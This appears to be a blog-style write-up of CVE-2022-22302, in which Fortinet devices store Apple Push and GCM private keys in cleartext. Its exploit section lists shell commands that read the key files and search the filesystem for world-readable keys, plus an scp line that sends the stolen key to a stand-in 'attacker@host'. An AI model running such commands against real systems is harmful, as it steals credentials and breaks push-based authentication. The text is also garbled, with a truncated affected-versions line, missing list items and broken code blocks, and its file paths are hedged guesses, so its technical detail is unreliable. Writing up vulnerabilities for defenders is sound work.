CVE-2022-22302 - Clear Text Storage of Fortinet Private Keys Exposes Apple Push & GCM Channels
In today's cyber landscape, keeping secret keys truly secret is foundational to digital security. But sometimes, critical lapses let attackers walk through the front door. Enter CVE-2022-22302, a simple yet severe vulnerability in several FortiGate and FortiAuthenticator products by Fortinet.
This flaw happens because the systems store private cryptographic keys — the exact ones meant to secure communications with Apple Push Notifications (APN) and Google Cloud Messaging (GCM) — directly in readable, unencrypted files on disk. This means that if an attacker or rogue insider gets basic filesystem access, they can steal these keys and potentially eavesdrop or impersonate components in your security workflow.
What is CVE-2022-22302?
CVE-2022-22302 is a vulnerability related to "cleartext storage of sensitive information" (assigned CWE-312). In affected Fortinet products, private keys to critical notification channels are stored as regular files, and not encrypted, not protected, and not properly secured from local unauthorized access.
ALL versions of 6.
> Note: More recent releases may have patched this flaw. Always check the official Fortinet Security Advisory for up-to-date affected version lists.
Intercept authentication tokens or notifications meant to be securely exchanged.
- Potentially manipulate or block push-based Multi-Factor Authentication, depending on deployment specifics.
If a malicious actor can access these keys, the entire chain of trust for secure push notification channels can be broken, putting enterprise authentication and security alerts at risk.
How Does the Vulnerability Work?
Let’s see how a local user can steal the keys, often with just basic OS commands (Linux shell, for example).
Where Are the Keys Stored?
Amid product deployment, Fortinet places private keys in readable files (such as in /data/ or /etc/fortinet/) on the device's filesystem — usually without strict permission.
Sample Exploit Workflow
Suppose an attacker gains filesystem access (as a local user or via a less-privileged service account). They can list files and literally cat out (view) the private key:
# Find the Apple Push Notification (APN) private key
ls -la /etc/fortinet/
cat /etc/fortinet/apns.key
# Or for Google Cloud Messaging (GCM)
ls -la /etc/fortinet/
cat /etc/fortinet/gcm.key
Or maybe
# Search for *.key files that are world-readable
find / -type f -name "*.key" -perm -o=r 2>/dev/null
What they’ll see
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9wBA...
<rest of plaintext private key>
-----END PRIVATE KEY-----
Prerequisites
- Local shell or OS-level access to the FortiGate or FortiAuthenticator instance (via SSH, console access, vulnerable service, or insider activity).
`bash
cd /etc/fortinet/
`bash
cat apns.key > /tmp/stolen_apns.key
scp /tmp/stolen_apns.key attacker@host:~
`
Now, the attacker can use stolen_apns.key to attempt unauthorized communications as if from a legitimate Fortinet appliance.
Upgrade!
Always patch to the latest, fixed version per Fortinet’s advisory.
`bash
chmod 600 /etc/fortinet/*.key
chown root:root /etc/fortinet/*.key
`bash
auditctl -w /etc/fortinet/apns.key -p r
References
- Fortinet Security Advisory: FG-IR-22-032
- CVE entry at NIST: NVD - CVE-2022-22302
- CWE-312: Cleartext Storage of Sensitive Information MITRE
FortiGuard Threat Research
- Security community analysis on github.com and packetstormsecurity.com
Wrapping Up
CVE-2022-22302 is a glaring example of how simple security oversights — like files with insufficient permission on the filesystem — can cascade into breaking important trust systems, even at a global enterprise level. If you use Fortinet gear, check your version and configuration today, patch any outdated systems, and always review filesystem security for sensitive keys and certificates.
Timeline
Published on: 07/11/2023 09:15:09 UTC
Last modified on: 11/07/2023 03:43:51 UTC